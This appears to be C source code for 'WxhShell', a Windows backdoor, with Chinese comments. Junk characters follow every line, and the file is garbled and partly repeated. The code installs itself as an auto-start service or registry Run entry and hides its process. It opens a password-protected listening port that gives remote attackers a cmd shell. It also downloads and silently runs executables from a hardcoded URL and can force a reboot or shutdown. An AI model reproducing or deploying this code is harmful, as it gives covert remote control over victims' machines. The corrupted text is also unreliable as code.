    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wh*OD  
    else { l,v:[N  
    closesocket(wsh); Qy6Avw/$  
    ExitThread(0); ,%KB\;1mn'  
    } ( j-(fS  
    break; |fw+{f  
    } {qx"/;3V  
  // 关机 QGLm4 Wl9  
  case 'd': { .IKK.G  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _&dGo(B  
    if(Boot(SHUTDOWN)) aB'<#X$x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iOJgZuP  
    else { }VFSF/\^  
    closesocket(wsh); c89RuI `B~  
    ExitThread(0); 5mFi)0={y  
    } :_e.ch:4  
    break; ax 3:rl  
    } DG:=E/@  
  // 获取shell :\bttPw5  
  case 's': { @8CD@SDv  
    CmdShell(wsh); ;<MaCtDt  
    closesocket(wsh); ,$}Q#q  
    ExitThread(0); _aD x('  
    break; <4O=[Q5S  
  } Cog:6Gnw  
  // 退出 c3 wu&*p{  
  case 'x': { tXp)o >"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2XI%4  
    CloseIt(wsh); Yb?#vpI  
    break; o&CvjE  
    } Wc]Fg9E  
  // 离开 ~Snw':  
  case 'q': { qy-BZ%3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2XXEg> CU  
    closesocket(wsh); *uv\V@0  
    WSACleanup(); CI  @I  
    exit(1); x`lBG%Y[-v  
    break; d9^=#ot  
        } pixI&iQ  
  } ' l!QGKz  
  } lhjPS!A~  
|QzPY8B9O  
  // 提示信息 {==Q6BG*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qkBnEPWZy  
} qb9%Y/xy  
  } WYh7Y  
5o72X k  
  return; J`x9 XWYw  
} ~z'0~3  
t6"4+:c!>  
// shell模块句柄 t*<c+Ixu  
int CmdShell(SOCKET sock) 'rF TtT  
{ Qy$QOtrv  
STARTUPINFO si; PAc~p8S  
ZeroMemory(&si,sizeof(si)); MRC5c:(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e1IuobT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /0\pPc*kA{  
PROCESS_INFORMATION ProcessInfo; N&GcWcq  
char cmdline[]="cmd"; 3{c&%F~!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *FAg^G&1  
  return 0; Ec[:6}  
} 6@$[x* V  
' 5Ieqpm9  
// 自身启动模式 au7BqV!uL  
int StartFromService(void) qMUqd}=P  
{ g_x<+3a  
typedef struct '+eP%Y[W%  
{ h]=chz  
  DWORD ExitStatus; "*T)L<G  
  DWORD PebBaseAddress; [cH/Y2[  
  DWORD AffinityMask; {otvJ |'N  
  DWORD BasePriority; ~Ep&:c4:D  
  ULONG UniqueProcessId; asJYGqdF  
  ULONG InheritedFromUniqueProcessId; ;zOZu~Q|'  
}   PROCESS_BASIC_INFORMATION; Qz<-xe`o8]  
K:Ap|F  
PROCNTQSIP NtQueryInformationProcess; [Ytia#Vv  
YW'Y=*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _9-Ajv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]I]dwi_g)  
K)v(Z"  
  HANDLE             hProcess; :{AN@zC0\  
  PROCESS_BASIC_INFORMATION pbi; hlVP_h"z  
K l4",  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "s*{0'jo  
  if(NULL == hInst ) return 0; !kIw835U  
4v!@9.!vQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6JL 7ut  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); BNByaC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); IM#+@vv  
DTJ  
  if (!NtQueryInformationProcess) return 0; Ky'^AN]  
u)V*o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jab]!eY  
  if(!hProcess) return 0; X-duG*~  
H{V-C_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >YW>=5_  
-`;8~wMN  
  CloseHandle(hProcess); _+. t7q^  
u,pm\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {NFeX'5bP  
if(hProcess==NULL) return 0; y, Z#? O  
=#u2Rx%V  
HMODULE hMod; h1Lp:@:|  
char procName[255]; \uYUX~}i"  
unsigned long cbNeeded; 7q?Yd AUz  
< d]|5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kal8k-$#  
s=$7lYX  
  CloseHandle(hProcess); nqH^%/7)A@  
yO6i "3  
if(strstr(procName,"services")) return 1; // 以服务启动 u7;A`  
i~.[iZf|  
  return 0; // 注册表启动 F>M$|Sc2  
} zPmVECS  
d!d 3r W;A  
// 主模块 ^Y&Cm.w  
int StartWxhshell(LPSTR lpCmdLine) Za} |Ee  
{ m^=, RfUUd  
  SOCKET wsl; f 4 _\F/  
BOOL val=TRUE; izKk@{Md  
  int port=0; 5A)w.i&V  
  struct sockaddr_in door; GBQb({  
`%=Jsi0.Nq  
  if(wscfg.ws_autoins) Install(); bXW)n<y  
J.&q[  
port=atoi(lpCmdLine); SUEw5qitB  
7HJv4\K  
if(port<=0) port=wscfg.ws_port; </%H'V@  
7m jj%  
  WSADATA data; QA3l:D}u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KZE.}8^%D  
2eK\$_b_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "VeUOdNA>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .~8+s.y  
  door.sin_family = AF_INET; I>xB.$A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4"2/"D0  
  door.sin_port = htons(port); c,qCZ-.Sg  
)k1,oUx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \XN5))  
closesocket(wsl); $7r wara  
return 1; `SW " RLS3  
} 2mO#vTX4  
c>R(Fs|6  
  if(listen(wsl,2) == INVALID_SOCKET) { (w- u"1&  
closesocket(wsl); @r43F$bcqo  
return 1; ~Qsj)9  
} $O>@(K  
  Wxhshell(wsl); Jv<)/Km`  
  WSACleanup(); Id*^H:]C#  
g#:XN  
return 0; S3'g(+S  
U,M,E@  
} NQJqS?^W&M  
\,EPsQV0?  
// 以NT服务方式启动 VqrMi *W6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P~<93  
{ d{hYT\7~1(  
DWORD   status = 0; G"[pr%?  
  DWORD   specificError = 0xfffffff; 6'ZnyWb  
9vTQ^*b m  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $.1'Ym  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QT$1D[>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }ELCnN  
  serviceStatus.dwWin32ExitCode     = 0; 9/M!S[N9  
  serviceStatus.dwServiceSpecificExitCode = 0; Sg$\ab$  
  serviceStatus.dwCheckPoint       = 0; I`TD*D  
  serviceStatus.dwWaitHint       = 0; \i+h P1 mz  
@,&m`qzd+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); % 4"~O _S  
  if (hServiceStatusHandle==0) return; B|=maz:_  
-9I%   
status = GetLastError(); cv4M[]U~  
  if (status!=NO_ERROR) c.Y8CD.tqL  
{ SU'9+=_$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4Jr[8P0/A9  
    serviceStatus.dwCheckPoint       = 0; X@&uu0JJ  
    serviceStatus.dwWaitHint       = 0; wKlCx  
    serviceStatus.dwWin32ExitCode     = status; d-sh6q5  
    serviceStatus.dwServiceSpecificExitCode = specificError; BznA)EK?@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); grdyiBSVn  
    return; _ICDtG^  
  } j~H`*R=ld#  
`_A?a_[*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; PJ@,01  
  serviceStatus.dwCheckPoint       = 0; *UoHzaIqz  
  serviceStatus.dwWaitHint       = 0; ^6oqq[$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s~ZFVi-i  
} . b`P!  
+fQL~ 0tA  
// 处理NT服务事件,比如:启动、停止 u^$Md WP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) i{ @'\}{L  
{ +i#sS19h  
switch(fdwControl) '?gI cWM  
{ w%dIe!sV  
case SERVICE_CONTROL_STOP: K!K"}%/_  
  serviceStatus.dwWin32ExitCode = 0; XHM"agrhSQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; W+ '}O<  
  serviceStatus.dwCheckPoint   = 0; 7B\(r~f`t  
  serviceStatus.dwWaitHint     = 0; J<#`IaV  
  { SzlfA%4+GR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 64']F1p0  
  } !TL}~D:J  
  return; K('l H-3wS  
case SERVICE_CONTROL_PAUSE: 51opP8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d 4\E  
  break; Pd "mb~  
case SERVICE_CONTROL_CONTINUE: d"6]?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tW:/R@@  
  break; N8YBu/  
case SERVICE_CONTROL_INTERROGATE: j~S!!Z ]  
  break; KBRg95E~]l  
}; ;3}EB cw)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H L|s pl(c  
} ?  < O  
T5jG IIa  
// 标准应用程序主函数 *tM7>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {&E Z>r-  
{ ^=Ct Aa2  
$:E}Nj]{&  
// 获取操作系统版本 j$8|ym^OX  
OsIsNt=GetOsVer(); ,PMb9 O\B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B/D\gjb  
,V]A63J  
  // 从命令行安装 RvSq KW8  
  if(strpbrk(lpCmdLine,"iI")) Install(); sMS9!{A  
Wj j2J8B  
  // 下载执行文件 sp Q4m  
if(wscfg.ws_downexe) { z2Y_L8u2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W+f&%En  
  WinExec(wscfg.ws_filenam,SW_HIDE); @ZkAul0@  
} B+e_Y\B u  
tkN3BQ  
if(!OsIsNt) { NC.P 2^%  
// 如果时win9x,隐藏进程并且设置为注册表启动 '<&EPUO  
HideProc(); -)O kG#J@  
StartWxhshell(lpCmdLine); B.mbKntK)R  
} aDl, K;GL  
else g{W6a2  
  if(StartFromService()) blfE9Oy  
  // 以服务方式启动 {p e7]P?  
  StartServiceCtrlDispatcher(DispatchTable); HCx%_9xlm  
else [Ql?Y$QB`4  
  // 普通方式启动 +dgo-)kP(_  
  StartWxhshell(lpCmdLine); ,|. *,  
]opW; |{e  
return 0; !0OD(XT  
} [CDXCV-z  
hX8gV~E=y  
1t[;`iZ  
fATA%eA8;  
=========================================== H6ky)kF&  
HZDaV&)@  
YQ @dl  
\)otu\3/  
uRm_  
>'ksXA4b  
" Wj4^W<IO  
!2Xr~u7a  
#include <stdio.h> Oj"pj:fB  
#include <string.h> 6MQs \J6.  
#include <windows.h> 1<W4>~,wj  
#include <winsock2.h> -7k|6"EwM  
#include <winsvc.h> K$<`4#i  
#include <urlmon.h> 5%QC ][,  
4+5OR&kxZ  
#pragma comment (lib, "Ws2_32.lib") }$Hs;4|  
#pragma comment (lib, "urlmon.lib") \[[TlB>  
d=t}T6.|  
#define MAX_USER   100 // 最大客户端连接数 sb}K%-  
#define BUF_SOCK   200 // sock buffer Q7 uAf3  
#define KEY_BUFF   255 // 输入 buffer *>aZc::  
U0h )pdo  
#define REBOOT     0   // 重启 T2 :oWjC3$  
#define SHUTDOWN   1   // 关机 8tLT'2+H#  
{=bg5I0|a  
#define DEF_PORT   5000 // 监听端口 b(#"w[|  
YN%=Oq  
#define REG_LEN     16   // 注册表键长度 j<ABO")v  
#define SVC_LEN     80   // NT服务名长度 %tzN@  
s; B j7]  
// 从dll定义API ?qg^WDs$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bkr~13S{+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qGpP,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9h:jFhsA9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Lp:Nw4_  
nDHHYp  
// wxhshell配置信息 H.YIv50E  
struct WSCFG { 4|> rwQ~t  
  int ws_port;         // 监听端口 p^KlH=1n.6  
  char ws_passstr[REG_LEN]; // 口令 Rwc[:6;fn  
  int ws_autoins;       // 安装标记, 1=yes 0=no I&TTr7  
  char ws_regname[REG_LEN]; // 注册表键名 JrCf,?L^  
  char ws_svcname[REG_LEN]; // 服务名 yu`KzIU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 gp~yt0AU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 k9}Q7)@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t] r,9df'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T-a&e9B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'Q:i&dTg  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 cWN d<=Jp  
MzEm*`<  
}; z5XYpi_;[  
_M8G3QOx  
// default Wxhshell configuration :3KO6/+  
struct WSCFG wscfg={DEF_PORT, r{t. c?/  
    "xuhuanlingzhe", MV"E?}0  
    1, @sc8}"J]#  
    "Wxhshell", R'Kt=.s<  
    "Wxhshell", &mN'Tk  
            "WxhShell Service", pU?{0xZH  
    "Wrsky Windows CmdShell Service", 81GQijq  
    "Please Input Your Password: ", >_;kTy,  
  1, 6 gj]y^}  
  "http://www.wrsky.com/wxhshell.exe", )KSisEL  
  "Wxhshell.exe" :/o C:z\h  
    }; { 1+Cw?1d  
A",eS6  
// 消息定义模块 ]b4pI*:$I  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ik`O.Q.}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F(Lb8\to\M  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5;IT64&]  
char *msg_ws_ext="\n\rExit."; f{)+-8  
char *msg_ws_end="\n\rQuit."; +7| [b  
char *msg_ws_boot="\n\rReboot..."; ]Nnxnp  
char *msg_ws_poff="\n\rShutdown..."; @GN(]t&3  
char *msg_ws_down="\n\rSave to "; <Q2u)m'  
kCj`V2go  
char *msg_ws_err="\n\rErr!"; $ q%mu  
char *msg_ws_ok="\n\rOK!"; z-n>9  
=yl4zQmg$  
char ExeFile[MAX_PATH]; d{er |$E?  
int nUser = 0; z%OuI 8"'  
HANDLE handles[MAX_USER]; R=!kbBK>\  
int OsIsNt; Q;4}gUmI$  
h/,R{A2mO  
SERVICE_STATUS       serviceStatus; u@<Pu@?xm  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :lUX5j3  
nN>J*02(  
// 函数声明 %b=Y <v  
int Install(void); `_|aeoK_  
int Uninstall(void); b6 $,Xh  
int DownloadFile(char *sURL, SOCKET wsh); T!MZ+Ph`F  
int Boot(int flag); d; 9*l!CF  
void HideProc(void); iJFr4o/R  
int GetOsVer(void); hT?6sWa  
int Wxhshell(SOCKET wsl); a "R7JjH  
void TalkWithClient(void *cs); %1Yz'AiW[  
int CmdShell(SOCKET sock); oFWt(r   
int StartFromService(void); +`ai1-vw  
int StartWxhshell(LPSTR lpCmdLine); $j57LY|r  
js~tKUvg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F"!agc2!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \Ke8W,)ew  
yH*hL0mO  
// 数据结构和表定义 ODm&&W#*  
SERVICE_TABLE_ENTRY DispatchTable[] = %B@ !  
{ >^dyQyK  
{wscfg.ws_svcname, NTServiceMain}, $0_^=D EW  
{NULL, NULL} 85'nXYN{d  
}; Y=r!2u6r~  
*RBV'b  
// 自我安装 (B@X[~  
int Install(void) )T9;6R$b  
{ bG "H D?A_  
  char svExeFile[MAX_PATH]; " jT#bIm  
  HKEY key; 1@xP(XS  
  strcpy(svExeFile,ExeFile); Q8p=!K  
=-_)$GOI'  
// 如果是win9x系统,修改注册表设为自启动 <0#^7Z  
if(!OsIsNt) { ;(7-WnU8N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C\7u<2c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~8TF*3[}[  
  RegCloseKey(key); sI'a1$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^ oYPyk`9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]nQ+nH  
  RegCloseKey(key); Y,C=@t@_  
  return 0; "f4<B-9<$  
    } -OrR $w|e  
  } Av o|v>  
} $_sYfU9  
else { jo}1u_OJ  
-ey)J +?t  
// 如果是NT以上系统,安装为系统服务 TjxA#D)   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s.VA!@F5  
if (schSCManager!=0) K1OkZ6kl  
{ r$ =qQ7^#  
  SC_HANDLE schService = CreateService zN%97q_  
  ( yG\UW&P  
  schSCManager, 1]T|6N?  
  wscfg.ws_svcname, )n( Q  
  wscfg.ws_svcdisp, UP2}q?4  
  SERVICE_ALL_ACCESS, F?9SiX[\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Di>rO038  
  SERVICE_AUTO_START, 2:Q(Gl`<l  
  SERVICE_ERROR_NORMAL,  ;\qXbL7  
  svExeFile, LEZ&W ;bCo  
  NULL, ;$7v%Ls=  
  NULL, PnA?+u2m  
  NULL, 8u>gbdU  
  NULL, dy2rkV.z  
  NULL NgVR,G|1  
  ); R(G\wqHUT3  
  if (schService!=0) _1aGtX|W  
  { <J&7]6Z  
  CloseServiceHandle(schService); /_)l|<k+V  
  CloseServiceHandle(schSCManager); IxOc':/jY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )1lu=gc  
  strcat(svExeFile,wscfg.ws_svcname); z C=a3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^ q?1U?4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }^Gd4[(,g  
  RegCloseKey(key); :_xh(W+2<  
  return 0; &$=!dA  
    } */(I[p  
  } l1A5Y5x9=  
  CloseServiceHandle(schSCManager); w^HjZV  
} OX\$nQ\o  
} F}36IM9/:  
o5!f#Y  
return 1; h i|!  
} L%t@,O#,  
m|O1QM;T  
// 自我卸载 $i#?v  
int Uninstall(void) zXZir7NfM  
{ U%>'"  
  HKEY key; _Zc4=c,K  
O,s.D,S  
if(!OsIsNt) { P|xG\3@Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O)]v;9oER  
  RegDeleteValue(key,wscfg.ws_regname); M:n6BC>t"  
  RegCloseKey(key); ~Y7dH Dn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Vn, >< g  
  RegDeleteValue(key,wscfg.ws_regname); q/PNJ#<  
  RegCloseKey(key); ^A9 M;q  
  return 0; \+m$  
  } *jITOR!uF`  
} pK}=*y~$  
} ?mv:neh  
else { IRW^ok.'b!  
V5p0h~PK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jVWK0Zba  
if (schSCManager!=0) qf#)lyr<D6  
{ poT&-Ic[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5MF#&v  
  if (schService!=0) C&<~f#lB  
  { pHC /(6?  
  if(DeleteService(schService)!=0) { .c+9P<VmC}  
  CloseServiceHandle(schService); QkQ!Ep(  
  CloseServiceHandle(schSCManager); :Ht; 0|[H  
  return 0; !wE}(0BTx  
  } Z7a945Jd  
  CloseServiceHandle(schService); l dqLM  
  } FwG!>  
  CloseServiceHandle(schSCManager); <RXwM6G2  
} pQa:pX  
} ' cIEc1y  
/7"I#U^u/  
return 1; [k<1`z3  
} N|usFqCNk^  
N ( Oyi  
// 从指定url下载文件 "_1)CDqP  
int DownloadFile(char *sURL, SOCKET wsh) J G$Z.s  
{ G~,:2 o3  
  HRESULT hr; WsGths+[  
char seps[]= "/"; l \OLyQ  
char *token; KP]"P*? ?  
char *file; 0~Gle:  
char myURL[MAX_PATH]; WFTvOFj  
char myFILE[MAX_PATH]; Fc6iQ  
'b&yrBFD  
strcpy(myURL,sURL); zM#sOg  
  token=strtok(myURL,seps); H t(n%;<  
  while(token!=NULL) j5$GFi\kB  
  { o\VUD  
    file=token; (s<s@`  
  token=strtok(NULL,seps); >ut" OL9J  
  } }baR5v  
UL$}{2N,_  
GetCurrentDirectory(MAX_PATH,myFILE); j<<3Pr  
strcat(myFILE, "\\"); `G9 l  
strcat(myFILE, file); W?woNt'n  
  send(wsh,myFILE,strlen(myFILE),0); 4rg2y]  
send(wsh,"...",3,0); Xf[kI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^teq[l$;  
  if(hr==S_OK) 6%G-Vs]*2  
return 0; ~`ny @WD9  
else Of,2Q#oji  
return 1; aB~S?.l  
C1kYl0 zR[  
} <ABX0U[*  
Ifc]K?  
// 系统电源模块 saf&dd  
int Boot(int flag) 2,q}N q  
{ \3f& 7wU  
  HANDLE hToken; ]`g@UtD9`  
  TOKEN_PRIVILEGES tkp; &ANP`=  
)kXhtjOl|  
  if(OsIsNt) { dt@P>rel  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2Os1C}m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q?qC  
    tkp.PrivilegeCount = 1; : rMM4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; MRNNG6TUs  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kRCQv-*  
if(flag==REBOOT) { m0n)dje  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r0;:t   
  return 0; -a,-J]d0+  
} <EO$]>;0  
else { dO> VwP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '7^M{y/dU  
  return 0; RD7^&  
} sUJ%x#u}Fk  
  } )SF}2?7e  
  else { [epi#]m  
if(flag==REBOOT) { *a;@*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U1_@F$mq<  
  return 0; >{gPN"S"a  
} H,fZ!8(A_)  
else { )L{ghy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^D eERB  
  return 0; R0ID2:i]F  
} 58\&/lYW  
} XR2~Q)@  
TxjYrzC  
return 1; nRL. ppUI  
} x+ncc_2n&D  
_.IxRk)T  
// win9x进程隐藏模块 gI^o U 4mq  
void HideProc(void) BS Iy+  
{ %,Sf1fUJ  
9EDfd NN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L37Y+C//  
  if ( hKernel != NULL ) {vUN+We  
  { &,A64y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?Nf>]|K:Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); C2LL|jp*  
    FreeLibrary(hKernel); An;MVA  
  } 5pr"d@.  
+/,icA}PI  
return; @SZM82qU2z  
} {^(ACS9mL  
?0? R  
// 获取操作系统版本 Q_* "SRz  
int GetOsVer(void) S5~VD?O,  
{ -p3Re9  
  OSVERSIONINFO winfo; 5^']+5_vb  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *.L81er5~  
  GetVersionEx(&winfo); kt`nbm|aw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /|#&px)G  
  return 1; 7+X:LA~U  
  else "k]CW\H6z  
  return 0; l^ZI* z7N  
} /VmR<C?h  
R\o<7g-|  
// 客户端句柄模块 yFDv6yJ.  
int Wxhshell(SOCKET wsl) m_?d=o  
{ 06$!R/K  
  SOCKET wsh; ST\$=  
  struct sockaddr_in client; 0#w?HCx=  
  DWORD myID; "Rn 3lj0  
|D, +P  
  while(nUser<MAX_USER) @d Jr/6Yx  
{ nJ~drG}TD  
  int nSize=sizeof(client); Ee`1F#c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !x!07`+^u  
  if(wsh==INVALID_SOCKET) return 1; qM#R0ZUIe\  
kOI t(e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X[f=h=|  
if(handles[nUser]==0) \j&^aAp r  
  closesocket(wsh); UnI 48Y  
else 7AYd!n&S  
  nUser++; 0-~\ W(  
  } X]\ \,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x|yEt O&  
.e=C{  
  return 0; A.hd Kl  
} Yjx|9_|Xn  
v) vkn/:  
// 关闭 socket h/~n\0,J/  
void CloseIt(SOCKET wsh) N[kwO1  
{ iD<(b`S  
closesocket(wsh); 3p0LN'q]A  
nUser--; %Gt .m  
ExitThread(0); J,Ks0M A  
} =[F<7pvE  
@|Rrf*J?%  
// 客户端请求句柄 e{m2l2Tx:  
void TalkWithClient(void *cs)  -_`>j~  
{ ,o)d3g-&g  
Z!hafhcX  
  SOCKET wsh=(SOCKET)cs; 76u&EG%  
  char pwd[SVC_LEN]; `uC@nJ  
  char cmd[KEY_BUFF]; DGzw8|/(  
char chr[1]; ) $PDo 7#  
int i,j; `Od5Gh  
y@\V +  
  while (nUser < MAX_USER) { mdRU^n  
OE}*2P/M>  
if(wscfg.ws_passstr) { &197P7&o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P*cNh43U  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lT(oL|{#P  
  //ZeroMemory(pwd,KEY_BUFF); rF]h$Z8o  
      i=0;  trAkcYd  
  while(i<SVC_LEN) { ]CoeSA`j  
L'u\ w  
  // 设置超时 qAw x2fPu  
  fd_set FdRead; iezO9`  
  struct timeval TimeOut; St e=&^  
  FD_ZERO(&FdRead); R~Ne|V2  
  FD_SET(wsh,&FdRead); tg{H9tU;  
  TimeOut.tv_sec=8; #-bA[eQV  
  TimeOut.tv_usec=0; 7}X[ 4("bB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b,C aWg  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [Nk3|u`h  
~m$Y$,uH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )gMG#>up@  
  pwd=chr[0]; ;UfCj5`Q)4  
  if(chr[0]==0xd || chr[0]==0xa) { Z-l=\ekJ  
  pwd=0; 8|" XSN  
  break; ;A*`e$  
  } :3I@(k\PY  
  i++; #Y4=J 6  
    } 1~PV[2a  
~/P&Tub^  
  // 如果是非法用户,关闭 socket \ioH\9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *FMMjz  
} |6$p;Aar  
0:T|S>FsAm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }nL7T'$>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &sU?Ok6  
w'UVKpG+  
while(1) { {QwHc5Bf  
@0F3$  
  ZeroMemory(cmd,KEY_BUFF); ?nmn1`UT  
PBp^|t]E>  
      // 自动支持客户端 telnet标准   q,+yqrt  
  j=0; eN^qG 42  
  while(j<KEY_BUFF) { 43@{JK9G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /\hzb/  
  cmd[j]=chr[0]; HbxL:~:}J  
  if(chr[0]==0xa || chr[0]==0xd) { |g//g\dd  
  cmd[j]=0; | y2w9n0D  
  break; k@'#@ t  
  } s mnS DS  
  j++; oIduxbAp  
    } ,.7*Hpa  
lb3]$Da  
  // 下载文件 urjjw.wZ  
  if(strstr(cmd,"http://")) { zlEX+=3  
